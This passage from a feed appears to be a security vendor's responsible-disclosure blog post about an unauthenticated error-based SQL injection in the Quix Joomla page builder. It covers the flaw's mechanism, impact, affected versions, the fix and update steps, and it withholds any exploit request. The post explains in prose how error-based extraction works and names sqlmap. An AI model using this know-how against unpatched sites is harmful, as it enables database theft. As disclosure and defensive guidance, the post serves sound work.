&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-49048/&quot;&gt;CVE-2026-49048&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-58148/&quot;&gt;CVE-2026-58148&lt;/a&gt; - the public CVE records for the two flaws.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;The Joomla CNA&lt;/a&gt; - the body that assigns CVEs for Joomla and its extensions.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>cve</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/img/og/blog/we-are-not-the-only-ones-auditing-joomla-extensions.png" length="0" type="image/png"/></item><item><title>Unauthenticated SQL Injection in Quix Page Builder found by mySites.guru</title><link>https://mysites.guru/blog/quix-sql-injection-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/quix-sql-injection-disclosure/</guid><description>mySites.guru found and reported CVE-2026-58078, an unauthenticated SQL injection in Quix Page Builder for Joomla. Fixed in 6.2.1; update to 6.2.2.</description><pubDate>Wed, 15 Jul 2026 16:29:14 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.themexpert.com/&quot;&gt;Quix&lt;/a&gt; is one of the most widely installed drag-and-drop page builders for Joomla, the tool a lot of agencies and site owners reach for when they want to lay out a page without touching code. During routine security research on the extensions our customers rely on, &lt;strong&gt;mySites.guru discovered an unauthenticated SQL injection vulnerability in Quix Page Builder, and reported it to ThemeXpert before disclosing anything publicly.&lt;/strong&gt; The fix is out: ThemeXpert closed the injection in Quix &lt;strong&gt;6.2.1&lt;/strong&gt;, then shipped &lt;strong&gt;6.2.2&lt;/strong&gt; the next day to close a further issue we reported. Run 6.2.2.&lt;/p&gt;
&lt;p&gt;If you run Quix on any Joomla site, update to 6.2.2 now. If you manage more than a handful of sites, read on for how to find every affected one at once.&lt;/p&gt;
&lt;h2&gt;Update, 30 September 2026: update to Quix 6.3.4&lt;/h2&gt;
&lt;p&gt;The advice below to run 6.2.2 is out of date. ThemeXpert has since shipped three more security releases, and the latest, Quix 6.3.4, fixes guest access to Quix settings and restricted pages, code execution by editors, and script injection from Joomla article text. Update every Quix site to 6.3.4, which also includes the fixes described in this post. &lt;a href=&quot;https://mysites.guru/blog/quix-6-3-4-security-release/&quot;&gt;Our Quix 6.3.4 post&lt;/a&gt; covers what changed.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found an &lt;strong&gt;unauthenticated SQL injection&lt;/strong&gt; in Quix Page Builder and reported it to ThemeXpert&lt;/li&gt;
&lt;li&gt;The flaw is in one of Quix’s front-end element endpoints, present in &lt;strong&gt;6.2.0 and every earlier version&lt;/strong&gt;; fixed in &lt;strong&gt;6.2.1&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The endpoint took an &lt;strong&gt;article id from an anonymous request and placed it straight into a database query&lt;/strong&gt; without turning it into a number, so an &lt;strong&gt;anonymous visitor could read data from any table&lt;/strong&gt;: user accounts, password hashes, other Joomla API secrets, and anything else in the database, from draft content and API keys to personal data and ecommerce orders&lt;/li&gt;
&lt;li&gt;It is the &lt;strong&gt;error-based&lt;/strong&gt; kind of SQL injection, not the blind kind. The endpoint reflects the database error back in its response, so the data comes straight out, one value per request, with no guessing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to Quix 6.2.2 immediately&lt;/strong&gt;, the current release&lt;/li&gt;
&lt;li&gt;It is tracked as &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-58078/&quot;&gt;CVE-2026-58078&lt;/a&gt;&lt;/strong&gt;, assigned by the Joomla CNA and crediting Phil Taylor of mySites.guru as the finder&lt;/li&gt;
&lt;li&gt;The Joomla CNA scored it &lt;strong&gt;CVSS 4.0 8.7 (High)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The injection was &lt;strong&gt;one of seven security issues we reported&lt;/strong&gt;. Six, the injection among them, were fixed in 6.2.1 and the seventh, an unsanitised CSS ID/Class field, the next day in 6.2.2. ThemeXpert also hardened the bundled JMedia media manager. Updating to 6.2.2 closes the lot&lt;/li&gt;
&lt;li&gt;Credit to ThemeXpert: they shipped the fix &lt;strong&gt;the same day we reported it&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;mySites.guru already flags every connected Joomla site still running a vulnerable version, so you do not have to check each site by hand&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru discovered this security issue and reported it to ThemeXpert before publishing details. We withheld the exact request and any proof-of-concept until a fix was available and site owners had a reasonable window to update. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What is the vulnerability?&lt;/h2&gt;
&lt;p&gt;Quix builds pages out of elements, and some of those elements load their content over a front-end AJAX endpoint that anonymous visitors can reach without logging in. One of them, the element that pulls in a single Joomla article, took an article &lt;code&gt;id&lt;/code&gt; from the incoming request and used it to check whether that article exists before rendering. That existence check placed the id into a database query &lt;strong&gt;without casting it to an integer first&lt;/strong&gt;, the textbook shape of a &lt;a href=&quot;https://owasp.github.io/www-community/attacks/SQL_Injection&quot;&gt;SQL injection&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The id does not arrive as a bare number. An encoded request parameter holds it, and the endpoint decodes that parameter and reads the id back out. Decoding it does nothing to make it safe: the value that comes out is still fully attacker-controlled, and it reaches the query unchanged. Joomla’s standard input filtering, which constrained only the outer encoding, never looks at the decoded value. Quotes, parentheses and SQL keywords all come through unchanged.&lt;/p&gt;
&lt;p&gt;So an attacker could supply a crafted id that turned the existence check into a query reading from any table in the Joomla database. No account needed, no CSRF token, nothing stolen first. It is the same &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;public-endpoint-meets-unchecked-input pattern&lt;/a&gt; behind a long run of recent Joomla extension vulnerabilities.&lt;/p&gt;
&lt;p&gt;In practice that means an unauthenticated attacker could read:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Joomla user accounts, including usernames and password hashes&lt;/li&gt;
&lt;li&gt;The Joomla configuration secret and other stored data&lt;/li&gt;
&lt;li&gt;Article, content and extension data across the whole database&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We are not publishing the exact request or a working proof-of-concept. The point of this post is to get people updated, not to hand attackers a recipe.&lt;/p&gt;
&lt;h2&gt;This one is not blind: the database talks back&lt;/h2&gt;
&lt;p&gt;There are two broad flavours of SQL injection, and which one you are dealing with changes how quickly an attacker gets the data out. In the quiet kind, a &lt;strong&gt;blind&lt;/strong&gt; injection, the response never prints the data. The attacker asks the database true-or-false questions one at a time and reads the answer from how the page changes. It works, but it is slow, a character at a time down a binary search.&lt;/p&gt;
&lt;p&gt;This Quix flaw is the other kind, the loud one: an &lt;strong&gt;error-based&lt;/strong&gt; injection. The affected endpoint catches the database error and reflects the message straight back in its response. That hands an attacker a much shorter path. Instead of inferring a value bit by bit, they craft an id that forces the database to fail while embedding the data they want inside the error message, and the endpoint prints that message back to them. The requested value, a username, a password hash, the site secret, comes back in the response to a single request.&lt;/p&gt;
&lt;p&gt;Do not read “error-based” as a technicality. It is worse for the defender than blind, not better. Blind injection at least makes an attacker work for each value. Error-based removes even that friction: the database does the talking, the endpoint does the printing, and the attacker reads the answer off the screen. The end state is the same as any other full SQL injection, the entire contents of every table an anonymous request can reach, but it arrives faster and with less noise in your logs.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Because this is error-based, there is no &quot;it would take a long time to exploit&quot; comfort to fall back on. The data returns in the response. Confidentiality is either intact or it is gone, and against an unpatched Quix it is gone in one request per value. Treat any site that ran a vulnerable version as one where the database could have been read.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What could a hacker actually do with this?&lt;/h2&gt;
&lt;p&gt;Download your entire database. Every table, every row, every column, from an anonymous request that looks exactly like ordinary traffic in your access log.&lt;/p&gt;
&lt;p&gt;We are not speculating about this. We reproduced complete database extraction against this flaw repeatedly on our own Quix test installations, pulling table after table out through the endpoint until there was nothing left to take. Separately, we confirmed vulnerable versions of Quix running in the wild on sites you would expect to know better: organisations with security teams, compliance obligations, and budgets, all of them one anonymous request away from handing over the lot. We did not touch their data, and we did not need to. The version number told us everything.&lt;/p&gt;
&lt;p&gt;Here is what walking off with a Joomla database actually gets someone:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Every user account and password hash.&lt;/strong&gt; Hashes get cracked offline, at leisure, on hardware built for it. Any user who reused their password has given over their other accounts too. A cracked Super User hash is simply an admin login, and no exploit is needed for the second visit.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;other Joomla API secrets.&lt;/strong&gt; It allows API Access. With it, an attacker stops needing your password.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Everything your site was trusted with.&lt;/strong&gt; Customer records, order histories, addresses, private article drafts, form submissions, stored API keys for whatever else you connected. If it is regulated data, you now have a notifiable breach on your hands rather than a maintenance ticket.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The part that catches people out is how quiet it is. A database read writes nothing. No file changes, no new admin user, no web shell, no malware for a scanner to find, nothing in your integrity check. Your site looks perfect, because it is: the attacker took a copy and left the original exactly where it was.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This is why &quot;restore a backup&quot; is not a fix for a database read. Restoring undoes changes, and nothing changed. Once the data is copied it stays copied, and the only remaining moves are rotating every credential in it and telling the people whose data it was. Updating stops the next copy, not the one already taken.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;You never needed AI to weaponise SQL injection&lt;/h2&gt;
&lt;p&gt;Every time a SQL injection is disclosed now, someone frames AI as the thing that made it dangerous. It is worth saying that it did not. Fully automated SQL injection, error-based and blind alike, has been free, off-the-shelf tooling for about twenty years. &lt;a href=&quot;https://sqlmap.org/&quot;&gt;sqlmap&lt;/a&gt;, the standard open-source tool, has automated error-based, boolean-based and time-based extraction and dumped entire databases since July 2006. Point-and-click extractors put the same power in front of absolute beginners even earlier. The underlying techniques were documented publicly in the early 2000s.&lt;/p&gt;
&lt;p&gt;An injection a human would find tedious is a single sqlmap command that has been public since before a lot of today’s extension code was even written. AI did not make SQL injection practical. sqlmap did that two decades ago. This matters because it kills the most common excuse for not updating: “no one would really bother extracting a whole database by hand”. No one does it by hand. They point a tool at it and walk away.&lt;/p&gt;
&lt;p&gt;Joomla knows this class of bug intimately, and not only from its extensions. Its own core has shipped serious SQL injection flaws, and they did real damage long before anyone had an AI assistant:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;October 2015, &lt;code&gt;com_contenthistory&lt;/code&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2015-7857&quot;&gt;CVE-2015-7857&lt;/a&gt; and related).&lt;/strong&gt; An unauthenticated SQL injection in Joomla core, in every release from 3.2.0 to 3.4.4, let an anonymous attacker steal a live Super User session and take the whole site over. It was error-based, exactly like this Quix flaw, and it was being exploited in the wild within 24 hours of the fix, against a component that shipped enabled by default on millions of sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;May 2017, &lt;code&gt;com_fields&lt;/code&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2017-8917&quot;&gt;CVE-2017-8917&lt;/a&gt;).&lt;/strong&gt; An unauthenticated SQL injection in Joomla 3.7.0, through an ORDER BY parameter that public exploits drove both blind and error-based, exposing session tokens and password hashes. It was weaponised with public exploit code within days.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of those needed AI. SQL injection has been fully compromising Joomla sites, core and extensions alike, for well over a decade, with tools any teenager could download for free. The stakes were never raised by AI. They were always this high, and the only reliable answer has always been the same one: update the affected code.&lt;/p&gt;
&lt;h2&gt;Sibling elements were hardened, this one was missed&lt;/h2&gt;
&lt;p&gt;This is the detail that makes the flaw interesting rather than embarrassing. ThemeXpert had already been through Quix’s element code, hardening exactly this class of input, and had shipped that work one day earlier as Quix 6.2.0, a release whose changelog opens by announcing a completed security audit of the extension. The elements that load lists of articles cast their ids to integers and lean on Joomla’s own parameterised article model. A related element that reads an article field got a strict allow-list of column names, with a comment in the code describing the fix. The team clearly knew the shape of the risk and had been closing it element by element.&lt;/p&gt;
&lt;p&gt;The single-article existence check was the one that slipped through. It kept its hand-written pre-check, and that pre-check kept the raw id. It is the classic pattern of a hardening pass that fixes the neighbours and overlooks the helper next door. It is a reminder that “we fixed that class of bug” and “we fixed every instance of that class of bug” are different statements, and the gap between them is where findings like this live. Our audit of that freshly hardened 6.2.0 build found seven issues it had missed, this injection among them. ThemeXpert fixed six of them the following day in 6.2.1 and the last, an unsanitised CSS ID/Class field, in 6.2.2.&lt;/p&gt;
&lt;p&gt;Read that as an argument for external eyes rather than a knock on ThemeXpert. An audit by the people who wrote the code is bounded by the same assumptions that produced the code, which is why a second pass by someone else keeps finding things. 6.2.0 was a real and substantial piece of security work. It was also, inevitably, incomplete, and the only way anyone learns that is by looking.&lt;/p&gt;
&lt;p&gt;The fix is a single line: cast the id to an integer before it reaches the query, so a crafted value can no longer change the SQL. That is exactly what Quix 6.2.1 does.&lt;/p&gt;
&lt;h2&gt;How serious is it?&lt;/h2&gt;
&lt;p&gt;Serious enough that we treated it as a priority disclosure. The thing that decides real-world impact here is short:&lt;/p&gt;
&lt;h3&gt;Whether the site has a web application firewall that filters SQL&lt;/h3&gt;
&lt;p&gt;Because the payload is literally SQL, a WAF often recognises and blocks it before it reaches Quix. Sites running bare, with no such protection, are the exposed ones.&lt;/p&gt;
&lt;p&gt;Note what is &lt;em&gt;not&lt;/em&gt; on that list. Unlike some front-end injection flaws, this one does not need the site to have any particular content published, or a specific menu item, or a visible page using the affected element. If Quix is installed, the endpoint is reachable, and the injection works. There is no second precondition for an attacker to satisfy. That makes the exposure broader than flaws that depend on the site being in a particular state.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This is the case for defence in depth. A SQL-aware firewall in front of a vulnerable extension can catch this class of attack before it reaches the code, buying you time to update. It does not mean you can skip updating. Treat the firewall as the seatbelt and the patch as not crashing the car: you want both.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;One more thing worth saying: Quix is a paid, actively maintained page builder, not obscure code on neglected sites. It is polished and well supported, and it runs on plenty of professionally managed Joomla installations, including ThemeXpert’s own. Being well-regarded is not the same as being safe. “We only use trusted, well-maintained extensions” is a good instinct, and on its own it is not a defence against a flaw in one of them. The most buttoned-up site in the world is still exposed if it is a version behind on the extension that has the hole.&lt;/p&gt;
&lt;h2&gt;Would a long, strong .htaccess have protected me against this?&lt;/h2&gt;
&lt;p&gt;Almost certainly not. A big hardened &lt;code&gt;.htaccess&lt;/code&gt; is the security blanket a lot of Joomla owners reach for, and it guards a different kind of attack than this one. The exploit here is an ordinary, allowed request to &lt;code&gt;index.php&lt;/code&gt;, the exact request your &lt;code&gt;.htaccess&lt;/code&gt; exists to let through so the site works at all. The dangerous part is not the URL, it is the SQL hidden inside one request parameter, and a stock &lt;code&gt;.htaccess&lt;/code&gt; never looks there.&lt;/p&gt;
&lt;p&gt;To block this at the &lt;code&gt;.htaccess&lt;/code&gt; layer you would need explicit rules that pattern-match SQL syntax in the request and return a 403. Hardly anyone runs those, they are brittle, and they tend to block real visitors as often as attackers. Inspecting request input for SQL is really the job of a web application firewall with SQL injection filtering switched on. Even then it only helps if that filtering is actually enabled: a WAF with its SQLi rules turned off, or left in log-only mode, waves this through as happily as no WAF at all. Protection you have to remember to configure is not the same as code that is not vulnerable in the first place.&lt;/p&gt;
&lt;p&gt;The short version applies here directly. Update Quix.&lt;/p&gt;
&lt;h2&gt;Which versions are affected?&lt;/h2&gt;
&lt;p&gt;Quix &lt;strong&gt;6.2.0&lt;/strong&gt;, the current release at the time of disclosure, and &lt;strong&gt;every earlier version&lt;/strong&gt; are affected. The vulnerable pre-check helper is long-standing and predates the hardening pass that fixed its sibling elements, so there is no clean lower bound: the whole Quix history below the fix is in range. The fix is in &lt;strong&gt;6.2.1&lt;/strong&gt;, which casts the article id to an integer before it reaches the query so a crafted value can no longer change the SQL. A later release, &lt;strong&gt;6.2.2&lt;/strong&gt;, closes a further issue we reported, so 6.2.2 is the version to run.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;If you run any version of Quix Page Builder earlier than 6.2.2, assume your site is affected and update now. Do not wait to confirm exploitation: because this is error-based, by the time you can confirm it, the data is already gone.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The SQL injection was not the only thing we reported&lt;/h2&gt;
&lt;p&gt;This post covers the SQL injection because it is the one an anonymous visitor can reach across the internet with a single request, and the one with the clearest consequence. It was one of seven security issues we reported to ThemeXpert, and the Joomla CNA has assigned a CVE to each. Quix 6.2.1 fixed six of them, and Quix 6.2.2 the seventh. In the vendor’s own words, these releases also:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fixed a code-execution path via the Raw HTML element, so PHP tags in element content are now neutralised (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60026&quot;&gt;CVE-2026-60026&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Fixed a path traversal and arbitrary file read in the Form element submission handler (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60027&quot;&gt;CVE-2026-60027&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Fixed stored cross-site scripting through the icon field, including inline SVG (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60028&quot;&gt;CVE-2026-60028&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Added an explicit permission check to the admin media manager endpoint (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60030&quot;&gt;CVE-2026-60030&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Stopped reflecting internal error details in front-end AJAX responses (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60031&quot;&gt;CVE-2026-60031&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Sanitised the Advanced CSS ID and Class fields, so a stored value can no longer break out of the CSS selector into the surrounding markup (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60029&quot;&gt;CVE-2026-60029&lt;/a&gt;, closed in Quix 6.2.2)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That last error-disclosure fix is worth pausing on, because it is the mechanism this whole post rests on. The reflected database error is what made the injection error-based instead of blind, handing an attacker the data in the response rather than making them tease it out. Quix 6.2.1 closes the injection and stops the endpoint reflecting internal errors, so the same class of mistake elsewhere in the component has lost its loudspeaker.&lt;/p&gt;
&lt;p&gt;ThemeXpert also hardened the bundled JMedia media manager across two releases: &lt;strong&gt;1.6.0&lt;/strong&gt; blocks executable and polyglot uploads (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60032&quot;&gt;CVE-2026-60032&lt;/a&gt;) and closes a remote-URL SSRF (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60033&quot;&gt;CVE-2026-60033&lt;/a&gt;), and &lt;strong&gt;1.6.1&lt;/strong&gt; sanitises uploaded SVG and serves files with hardened headers to close a media-picker XSS (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60034&quot;&gt;CVE-2026-60034&lt;/a&gt;). If you run JMedia, update it to 1.6.1 too.&lt;/p&gt;
&lt;p&gt;We are not publishing exploit detail or a proof-of-concept for any of the others, for the same reason we are not publishing the SQL injection request: the fix is out, and the useful thing now is that you install it. Updating to 6.2.2 closes all seven.&lt;/p&gt;
&lt;h2&gt;Credit where it is due&lt;/h2&gt;
&lt;p&gt;We gave ThemeXpert a private report and withheld all public detail while they worked. They never needed the window. Quix 6.2.1 shipped the same day we reported, with the id cast to an integer and the injection closed, and 6.2.2 followed the next day to close the last of our findings. ThemeXpert credited mySites.guru for the find.&lt;/p&gt;
&lt;p&gt;That is the right response, and worth saying out loud. Plenty of vendors sit on a report for weeks. A same-day turnaround on six separate security findings, with the seventh shipped the day after, from a private report to a pair of releases, is at the far end of good. Our thanks to the ThemeXpert team, and to their CTO Abu Huraira Bin Aman, who confirmed each fix back to us directly.&lt;/p&gt;
&lt;p&gt;ThemeXpert is not the exception this month either. Most of the developers we have responsibly disclosed to during this run have responded the same way: grateful, quick to thank us, and shipping a fix promptly. The right thing for site owners to do in return is simple: apply the update they shipped.&lt;/p&gt;
&lt;h2&gt;SQL injection is a recurring theme right now&lt;/h2&gt;
&lt;p&gt;This Quix flaw is not an isolated find. It is one of several unauthenticated SQL injections we have uncovered in widely used Joomla extensions in a single research run, and they all share one root cause: a public front-end endpoint that takes anonymous request input and hands it to a database query without turning it into a safe value first.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57831/&quot;&gt;CVE-2026-57831&lt;/a&gt;, CVSS 8.7). The same class of unauthenticated SQL injection in one of the most popular calendar and events extensions for Joomla. Fixed in 10.11.2 and 8.19.4.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56292/&quot;&gt;CVE-2026-56292&lt;/a&gt;, CVSS 8.7). The same shape again in one of the most popular newsletter extensions for Joomla, and because it shares a codebase, the WordPress plugin too.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;EDocman&lt;/a&gt;&lt;/strong&gt;. Another unauthenticated SQL injection from the same run, this time in a document-management component.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;The month of Joomla disclosures&lt;/a&gt;&lt;/strong&gt;. Quix is one entry in a larger run of vulnerabilities we found and reported across popular Joomla extensions in a single month, several of them this exact SQL injection shape.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt;&lt;/strong&gt;. The underlying pattern, and why front-end element endpoints like Quix’s keep producing this bug.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The reputable ones are well maintained, and this vendor fixed the issue when told. Any extension exposing a front-end endpoint to anonymous visitors is attack surface, and keeping those extensions updated is security-critical.&lt;/p&gt;
&lt;h2&gt;How do you update Quix safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; so you have a clean starting point.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla’s Extensions manager, or in bulk from mySites.guru.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull Quix 6.2.2. If it does not appear, use Find Updates, or download the latest package from your ThemeXpert account and install it over the top. If you manage more than one site, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade Quix across every affected site from a single dashboard&lt;/a&gt;. You can even &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto-updates for any Joomla extension&lt;/a&gt; so the next fix like this reaches your sites without you lifting a finger.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; After updating, open Components, then Quix, and check the version shown is 6.2.2 or later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear caches.&lt;/strong&gt; Clear Joomla’s cache and any CDN or page cache so stale front-end assets do not linger.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Updating closes the door. It does not undo any data an attacker may already have read, so if you handle sensitive data and were on a vulnerable version for a long time, treat credentials and any exposed data as potentially known.&lt;/p&gt;
&lt;h2&gt;How do I find every Quix site I manage?&lt;/h2&gt;
&lt;p&gt;The first question after any extension security release is the awkward one: which of my sites actually run this? Up to about ten sites, you can log in to each Joomla admin and check the installed extensions list. Past that, you need a single view.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for Quix once and get back every connected site running it, the version each one is on, and whether an update is available. No logging into forty admin panels one at a time.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every Quix install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for Quix across every connected Joomla site and filter for anything on 6.2.1 or earlier to find the installs that still need updating. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Once you know which sites need it, the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; handles the rollout: tick the sites on an old version, push the update to all of them from one screen.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;For agencies managing dozens of Joomla sites&lt;/p&gt;
  &lt;p&gt;The patch is the easy bit. Knowing which client sites run Quix, and getting the update onto all of them, is the work. &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;See how mySites.guru manages multiple Joomla sites&lt;/a&gt; from one screen.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why page builders are a quiet attack surface&lt;/h2&gt;
&lt;p&gt;This is a pattern, not a one-off, and it is why the class of bug matters more than this single instance. Page builders make attractive targets for the same reason they are useful: they render their content through front-end endpoints that anonymous visitors are meant to reach. An element that loads an article, a form that accepts a submission, a widget that fetches data, none of that can require a login, because the whole point is that visitors see it.&lt;/p&gt;
&lt;p&gt;Every one of those public endpoints is attack surface. When the code behind them trusts request input, or hands it to a database query without escaping or casting, an anonymous visitor becomes an anonymous attacker. We have seen the same class of issue across page builders like &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt;, form builders like &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, template frameworks like &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain&lt;/a&gt;, calendar tools like &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;, and newsletter systems like &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;: a public task that reaches a dangerous operation with too little checking in between.&lt;/p&gt;
&lt;p&gt;The lesson for site owners is not “avoid page builders”. They are fine, and the reputable ones are well maintained. The lesson is that &lt;strong&gt;keeping them updated is security-critical&lt;/strong&gt;. An extension two versions behind is not a cosmetic problem.&lt;/p&gt;
&lt;h2&gt;Stay Ahead of the Next One&lt;/h2&gt;
&lt;p&gt;This is one extension on one day. There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like this. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does, across every extension on every site you look after.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this Quix flaw is disclosed, you see exactly which sites are exposed in seconds, without opening a single admin panel to check.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;ul&gt;
